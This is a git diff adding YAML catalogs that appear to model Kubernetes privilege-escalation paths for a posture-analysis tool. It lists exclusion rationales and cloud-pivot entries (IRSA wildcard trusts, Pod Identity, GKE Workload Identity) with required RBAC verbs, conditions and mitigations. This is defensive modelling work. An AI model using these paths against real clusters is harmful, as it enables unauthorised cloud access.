src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#cni-and-network-policy + technique: CNI and network-policy background + reason: Describes traffic enforcement, not impersonation or credential transfer. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#csi-devices-and-node-agents + technique: CSI, device and node-agent background + reason: Lists host components; no distinct source permission or identified target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#node-health-placement-and-local-evidence + technique: Node health and placement background + reason: Explains scheduler inputs; concrete status writes and controlled-node placement are in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#cloud-controller-manager + technique: Cloud controller-manager enumeration + reason: Read-only discovery of the controller; no write or new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#node-services + technique: Node service enumeration + reason: Probes kubelet and local services; nodes/proxy is modelled, while network-exposed services have no RBAC source edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#csi-device-plugins-and-node-agents + technique: CSI and device plugin enumeration + reason: Read-only inventory of installed agents; access to an agent's identity requires a separate workload or node path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#other-installed-node-agents + technique: Installed node-agent enumeration + reason: Read-only agent discovery without an actionable permission combination. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#helm-deployment-boundaries + technique: Helm deployment boundary guidance + reason: Defensive advice identifying the deploying identity; direct Helm invocation uses the caller's own authorization. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#scan-helm-charts + technique: Scan Helm charts + reason: Defensive static analysis of chart content; no change of privileges. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#spiffespire-workload-identity + technique: SPIFFE/SPIRE hardening guidance + reason: Defensive guidance; the concrete node-root selector spoofing is separately excluded because SPIRE registrations and relying parties are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-permissions-for-a-pentest.md#kubernetes-api-read-permissions + technique: Kubernetes API read permission baseline + reason: Enumerating cluster objects does not grant another principal; token-bearing Secret read is separately modelled in rbac.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#node-boundary-and-evidence + technique: Node boundary and evidence + reason: Explains which node-local files and processes are reachable after node compromise; the node edge is already reached. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#spiffespire-workload-identity-spoofing + technique: SPIFFE/SPIRE node-root identity spoofing pointer + reason: Requires node root already gained; SPIRE registrations and relying parties needed to identify an SVID target are not collected. +# Kubernetes-named pages outside kubernetes-security: provider-control-plane permissions +# belong to their provider catalogs; unauthenticated exposure has no RBAC source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: AKS user/admin kubeconfig retrieval + reason: Source permissions are Azure ARM listClusterUserCredential/listClusterAdminCredential; they are Azure-principal edges in the azure catalog, not Kubernetes RBAC grants. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: AKS alternate credential retrieval APIs + reason: Source permissions are Azure ARM actions, evaluated in the azure catalog; the Kubernetes catalog starts after those credentials are obtained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#run-command--in-cluster-execution-with-no-kubeconfig-and-no-network-line-of-sight + technique: AKS Run Command + reason: Microsoft.ContainerService/managedClusters/runCommand/action is an Azure ARM permission, not a Kubernetes verb. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + technique: AKS managedClusters/write admin reconfiguration + reason: Azure ARM write to cluster authentication settings; source and target are Azure/Entra identities, handled by the azure catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#vm-scale-set-run-command-on-aks-workers + technique: VMSS Run Command on AKS workers + reason: Azure compute permission is required; Kubernetes RBAC cannot invoke the VMSS API. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#external-oidc-authentication-on-aks + technique: External OIDC authentication on AKS + reason: Trust and group mappings configure authentication; this heading supplies no Kubernetes source permission that creates a new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS Kubernetes RBAC operations + reason: The Kubernetes verbs discussed are already modelled by rbac.yaml, workloads.yaml and admission_control.yaml; AKS does not change their permission combinations here. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + technique: ARO cluster credential retrieval + reason: Azure ARM ARO credential actions belong to the azure catalog, not a Kubernetes source principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#node--kubelet-managed-identity-theft-via-imds--cluster--azure-pivot + technique: AKS node managed-identity credentials from IMDS + reason: The same node-to-cloud-identity edge is k8s-cloud-node-cloud-identity; node compromise is the prerequisite. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#add-an-attacker-influenced-node-pool-agentpoolswrite + technique: AKS agentPools/write + reason: Creates or changes Azure-managed node pools through ARM; Azure catalog owns the source permission. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#api-server-network-exposure-managedclusterswrite--apiserveraccessprofile + technique: AKS API-server network exposure + reason: ARM write changes network reachability and grants no Kubernetes principal identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#cluster-certificate-rotation--invalidate-all-kubeconfigs-rotateclustercertificatesaction + technique: AKS cluster certificate rotation + reason: Availability and credential invalidation action, not acquisition of another principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#flux-gitops-self-healing-foothold-fluxconfigurationswrite--sourcecontrolconfigurationswrite + technique: Azure Flux configuration persistence + reason: Source write is Azure ARM; a Kubernetes principal's direct Flux Kustomization write is modelled separately in workloads.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#cluster-extension-install--privileged-in-cluster-components-extensionswrite + technique: AKS extension install + reason: Azure ARM extension permission deploys a privileged component; no Kubernetes RBAC source grant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#re-arm-the-built-in-cluster-admin--attacker-entra-admin-group-managedclusterswrite + technique: AKS admin group reconfiguration persistence + reason: Same Azure managedClusters/write authentication change as the azure catalog path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#reset-aad--service-principal-profile-resetaadprofile--resetserviceprincipalprofile + technique: AKS AAD or service-principal reset + reason: Azure ARM reset actions change cluster control-plane credentials; no Kubernetes source principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#related-workload-identity-federated-credential + technique: Federated-credential persistence + reason: Entra federated credential writes are Azure-side; an existing Kubernetes ServiceAccount's federated identity edge is k8s-cloud-aks-workload-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#trusted-access-role-binding--service-identity-access-through-the-aks-gateway-trustedaccessrolebindingswrite + technique: AKS Trusted Access role binding + reason: Azure ARM trustedAccessRoleBindings/write delegates access to an Azure service identity; no Kubernetes RBAC source grant. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#anonymous-privileged-api-operations + technique: Anonymous privileged Kubernetes API operations + reason: Exposure is evaluated through system:anonymous and system:unauthenticated RBAC group membership; no separate permission combination. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#anonymous-privileged-kubelet-operations + technique: Anonymous kubelet execution + reason: Network-exposed kubelet configuration is not collected and has no authenticated Kubernetes RBAC source principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#exposed-workloads--imds-ssrf--azure-managed-identity-token + technique: Exposed workload SSRF to Azure IMDS + reason: Application SSRF and network reachability are not Kubernetes RBAC grants; a node credential reached through Kubernetes is modelled by cloud_pivot.yaml. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md#enumeration + technique: DOKS enumeration + reason: Read-only API and cluster discovery; no distinct privilege-escalation permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/controllers-and-admission.md#operator-custom-resources + technique: Generic operator custom-resource persistence + reason: The CR field that becomes code or an RBAC grant under the operator's identity is operator-specific and not derivable from RBAC; concrete Flux, Argo CD and Crossplane deputies are in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#gitops-helm-operators-and-mutable-images + technique: Generic Helm, operator and mutable-image persistence + reason: Flux and Argo CD Kubernetes object writes are already modelled; registry/Git source writes and generic operator template fields are not Kubernetes RBAC permissions collected by the evaluator. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#helm-values-yaml-injection + technique: Generic Helm values YAML injection + reason: A values edit escalates only through a particular vulnerable chart and a more privileged applier; those template fields and external Git/CI writers are not derivable from the Kubernetes RBAC snapshot. + +# Strict principal/permission-gain audit, 2026-10-16. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + technique: k8s-admission-webhook-configuration-weaken + reason: Weakening admission alone does not grant a principal credential or additional RBAC permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#mounting-gcp-sa-keys-as-secret + technique: k8s-cloud-pivot-secret-static-gcp-sa-key + reason: Secret metadata does not verify a usable Google service-account key or its exact principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 171e422 + technique: k8s-admission-validating-policy-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: a66f094ede + technique: k8s-admission-webhook-configuration-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + technique: k8s-admission-policy-engine-validating-webhook-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 171e422 + technique: k8s-admission-namespace-label-exit + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#disrupting-a-fail-open-webhook-backend + source_revision: 171e422 + technique: k8s-admission-fail-open-webhook-backend + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: 171e422 + technique: k8s-admission-policy-engine-excluded-namespace + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + technique: k8s-admission-kyverno-policy-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + technique: k8s-admission-gatekeeper-constraint-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#configmap-name-squatting-and-live-update + source_revision: null + technique: k8s-v3-33-missing-configmap-name-squatting + reason: No source permission or API action is declared; a hypothetical future executable path is not a demonstrated + principal-to-principal escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#static-google-service-account-key-mounted-as-a-secret + source_revision: a66f094ede + technique: Static Google key Secret inferred from metadata or unverified Pod mount + reason: The active direct-read variant requires an exact Secret, active key, accepted Google subject and newly allowed action. Metadata hints and Pod-mount possibility alone do not prove those joins. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#argo-cd-managed-cluster-credentials + source_revision: 171e422 + technique: Argo CD remote-cluster credential inferred from Secret label + reason: The active direct-read variant needs an exact Secret UID/version, accepted remote subject, usable credential and newly allowed action. A cluster label or generic Secret read alone is exposure. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#access-any-resource-or-verb-wildcard + technique: Wildcard RBAC rights already held by the source + reason: The wildcard grant is already effective before any action; it does not obtain another principal or grant additional permissions. Concrete uses of those rights are separate active techniques. + +# Strict principal-target re-audit: documented conditions without a verified source-to-target join. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/secrets-and-configmaps.md#secret-listing-and-data-inspection + technique: Generic Secret listing without a verified identity + reason: Reading Secret data is exposure. Only the separately reviewed, usable legacy ServiceAccount token path at verified-legacy-serviceaccount-token-secret can create a principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#mutatingadmissionpolicy-code-injection + technique: k8s-workloads-mutating-admission-policy-half-pair + reason: Only one policy/binding write is required by this row, but the existing + complementary half and its injecting contents are not collected or joined to the + target Pod identity. Retain as a documented conditional path until exact binding/policy/admission + evidence exists. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#consumed-configuration-as-code + technique: k8s-workloads-configmap-executed-by-workload + reason: A running Pod references a ConfigMap, but inventory does not prove that + a source-writable exact ConfigMap is executed as code, that a reload occurs, or + that the target ServiceAccount credentials are obtained. A data/configuration + write alone is not a principal path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#flux-kustomization-without-a-tenant-serviceaccount + technique: k8s-workloads-flux-kustomization-controller-identity + reason: The controller may use --default-service-account and source contents/egress + are unverified. The current selector matches a same-named ServiceAccount without + proving that this Kustomization reconciles under it. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: k8s-workloads-flux-kustomization-patch-controller-identity + reason: The selected Kustomization spec, source artifact and --default-service-account + setting are not collected; patch/update alone cannot prove execution under the + named controller identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: k8s-workloads-crossplane-provider-kubernetes-identity + reason: ProviderConfig and Object references are not collected. The Object can use + a kubeconfig Secret or another cluster, so the provider-kubernetes ServiceAccount + name glob is not a proven target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#gitops-and-platform-controller-deputies + technique: k8s-workloads-flux-helmrelease-controller-identity + reason: The HelmRelease may use a tenant ServiceAccount through --default-service-account, + and the chart/source contents are not joined to the writer. Controller name alone + does not prove the gained principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: k8s-workloads-argocd-application-controller-identity + reason: AppProject, destination cluster credential and sync state are not collected. + An Application write cannot be bound to the local application-controller ServiceAccount + as the usable target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#kiam--kube2iam-iam-role-for-pods + technique: Kiam or Kube2IAM role inferred from namespace or Pod annotation + reason: The active Pod-create variant needs an admitted running Pod, matching namespace policy, running proxy, accepted role trust, delivered credentials and a newly allowed action. Annotation matching alone cannot identify a gained IAM role. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#aws-eks-aws-auth-configmaps + technique: k8s-cloud-eks-aws-auth-configmap + reason: The cluster auth mode, access-entry precedence and source-controlled IAM + sign-in principal are not joined to this ConfigMap mutation. Editing aws-auth + alone cannot prove a new Kubernetes principal or permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: k8s-cloud-aks-identity-binding + reason: The target selector has no collected ARM identity-binding association, and + the evaluator creates no aks_identity_binding cloud node. The use-managed-identity + verb alone cannot identify a reachable managed identity. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-misconfiguration + technique: k8s-openshift-tekton-namespace-scc-annotation + reason: TektonConfig maxAllowed, operator namespace management, inline task control, + SCC grant and resulting admitted privileged Pod are not joined to a schedulable + node. Namespace annotation plus TaskRun permission alone does not prove a node + path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + technique: Bind an arbitrary Role or ClusterRole through an existing or new binding + reason: The active namespace path is limited to creating a RoleBinding for the + exact cluster-admin ClusterRole. Other roles need a collected role-rule to + newly granted permission join, and patch/update need the exact existing + binding joined to that role and source subject. A generic bind grant alone + cannot prove access to every ServiceAccount. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + technique: Aggregate into a ClusterRole bound only through a RoleBinding + reason: A RoleBinding confines the added rules to its namespace, so it cannot + establish the cluster-admin target of the active cluster-wide aggregation + technique. A separate namespace-scoped permission target needs the bound + RoleBinding namespace and exact added-rule join. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml new file mode 100644 index 0000000000..a9cbdff8b5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml @@ -0,0 +1,16 @@ +# Reviewed source techniques without a supported principal escalation edge. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-action-runner + source_revision: 0b36331 + technique: Read AWS/GCP metadata from self-hosted runner + reason: The self-hosted runner must actually run attacker-controlled code and expose a reachable AWS/GCP + metadata identity; GitHub runner-to-host and cloud-role bindings are missing. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#exploitation-benefits + source_revision: 0b36331 + technique: Select more privileged runner/agent and steal metadata identity + reason: Requires control of runner scheduling or code execution on a host with reachable metadata credentials. + CI scheduling and host identity binding are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#agent-cloud-pivoting + source_revision: 0b36331 + technique: Read AWS/Azure/GCP metadata or Kubernetes SA token on agent + reason: Requires code on a TeamCity agent and reachable cloud metadata or Kubernetes SA token tied to that + agent. Existing K8s pod rules have a different source permission; TeamCity agent placement is uncollected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml new file mode 100644 index 0000000000..fee6f8f63f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml @@ -0,0 +1,5 @@ +# Reviewed privilege-escalation sweep exclusions. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#mesh-identity-confused-deputy-through-ssrf + technique: Use SSRF in a trusted mesh workload to make requests under its workload identity + reason: A successful edge requires application-specific SSRF behavior, a live mesh dataplane and backend response. Kubernetes + RBAC and policy objects alone cannot establish the runtime request or privilege use. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml new file mode 100644 index 0000000000..665afe7391 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml @@ -0,0 +1,2 @@ +# Admission-control changes are preconditions, not standalone privilege-escalation paths. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml new file mode 100644 index 0000000000..8f16864cf5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml @@ -0,0 +1,8 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Admission-control changes are preconditions, not standalone privilege-escalation paths. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml new file mode 100644 index 0000000000..fd5de15d45 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml @@ -0,0 +1,342 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes <-> cloud identity pivots (EKS IRSA / Pod Identity / kiam / aws-auth, GKE Workload +# Identity, AKS Workload ID / identity bindings, node cloud identities). +# Conventions: see header of rbac.yaml. Entries with source_kind describe edges from an identity +# (ServiceAccount or node) to a cloud principal; who reaches that identity is modelled elsewhere +# (pods create, exec, tokens...). Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-cloud-eks-irsa + provider: k8s + service: eks + title: ServiceAccount assumes an IAM role through IRSA (OIDC web identity) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the IAM roles whose trust policy accepts the cluster OIDC issuer with that ServiceAccount's subject. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + trust_allows_k8s_sa_oidc_subject: true + scope: any + aggregate_as: "IAM roles trusting {source.namespace}/{source.name} via IRSA" + conditions: + - id: aws_trust_not_collected + description: Needs the AWS role trust and the EKS cluster OIDC issuer to join the exact federated provider, subject, and STS audience. An annotation alone does not establish that the role can be assumed. + blockers: [] + confidence: derived + severity: high + mitigation: Scope IRSA trust policies to an exact sub (system:serviceaccount::) and aud sts.amazonaws.com; prefer EKS Pod Identity with tag conditions. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + notes: The annotation is not a security gate; any holder of a token for the ServiceAccount with audience sts.amazonaws.com (a pod can request a projected token with any audience) can call AssumeRoleWithWebIdentity. Hence the reachable set is defined by the trust policy, not the annotation. Trusts with wildcard or missing sub conditions are reached by every matching ServiceAccount. + +- id: k8s-cloud-eks-irsa-create-matching-sa + provider: k8s + service: eks + title: Create a ServiceAccount matching an IRSA trust + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 2415fadfbd + summary: The source can obtain an IAM role by creating a ServiceAccount whose new name matches the role's IRSA trust and obtaining its STS-audience token. + requires: + all_of: + - verb: create + resource: serviceaccounts + namespace: "{pivot.namespace}" + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + trust_allows_oidc_subject_wildcard: "system:serviceaccount:{pivot.namespace}:*" + scope: any + aggregate_as: "IAM roles with wildcard IRSA trust matching {pivot.namespace}" + conditions: + - id: aws_trust_not_collected + description: Requires the AWS role trust, matching EKS OIDC issuer, and STS audience; a new ServiceAccount name must satisfy the subject pattern. + blockers: [] + confidence: derived + severity: high + mitigation: Never use wildcards in the sub condition of IRSA trust policies. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + notes: This path also covers an exact trusted ServiceAccount name that has not yet been created. Existing matching ServiceAccounts use the separate existing-SA route. + +- id: k8s-cloud-eks-irsa-wildcard-trust-existing-sa + provider: k8s + service: eks + title: Use an existing ServiceAccount trusted by an IRSA role + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 2415fadfbd + summary: The source can obtain an IAM role by obtaining an STS-audience token for an existing ServiceAccount whose name matches the role's IRSA trust. + requires: + all_of: [] + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + trust_allows_oidc_subject_wildcard: "system:serviceaccount:{pivot.namespace}:*" + scope: any + aggregate_as: "IAM roles with wildcard IRSA trust matching {pivot.namespace}" + conditions: + - id: existing_sa_matches_wildcard + description: An inventoried ServiceAccount name in the namespace must match the trust's subject pattern; a trust for a name that does not exist needs the create-matching-SA path. + - id: token_audience + description: The token must carry the trusted audience (sts.amazonaws.com); a pod can request it with a projected serviceAccountToken volume and TokenRequest accepts any audience, so the eks.amazonaws.com/role-arn annotation is not needed. + - id: aws_trust_not_collected + description: Requires the AWS role trust and matching EKS OIDC issuer to evaluate the subject and STS audience. + blockers: [] + confidence: conditional + severity: high + mitigation: Never use wildcards in the sub condition of IRSA trust policies; pin both sub and aud. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + - https://kubernetes.io/docs/concepts/storage/projected-volumes/#serviceaccounttoken + notes: The annotation only drives webhook injection; the trust check is on token issuer, subject, and audience, so no ServiceAccount write is required when an existing matching ServiceAccount can supply a token. + +- id: k8s-cloud-eks-pod-identity + provider: k8s + service: eks + title: ServiceAccount receives an IAM role through EKS Pod Identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#eks-pod-identity + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the IAM role of the EKS Pod Identity association for its (namespace, name). + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: eks_pod_identity + scope: any + aggregate_as: "IAM roles associated with {source.namespace}/{source.name}" + conditions: + - id: pod_identity_association_from_related_aws + description: The EKS association must name the source ServiceAccount and an initial role whose trust allows pods.eks.amazonaws.com to call AssumeRole and TagSession. A target role is a separate IAM role chain. + - id: pod_identity_agent_running + description: The EKS Pod Identity Agent must run on the nodes; credentials are served only to pods running as that ServiceAccount. + - id: trust_tag_conditions + description: Trust conditions on kubernetes-namespace/kubernetes-service-account/cluster tags may further restrict the role. + blockers: [] + confidence: conditional + severity: high + mitigation: Associate roles only with dedicated ServiceAccounts in namespaces where untrusted subjects cannot create pods; add tag conditions to the trust. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html + notes: The roleArn in the association is the first role assumed by EKS. targetRoleArn, if present, is a later IAM role hop evaluated by the AWS catalog; it is not substituted for roleArn here. + +- id: k8s-cloud-gke-workload-identity + provider: k8s + service: gke + title: ServiceAccount impersonates a Google service account via GKE Workload Identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#workload-identity-federation-for-gke + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the Google service accounts that grant roles/iam.workloadIdentityUser to its Workload Identity member. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: gke_workload_identity + gcp_workload_identity_user_granted_to_k8s_sa: true + scope: any + 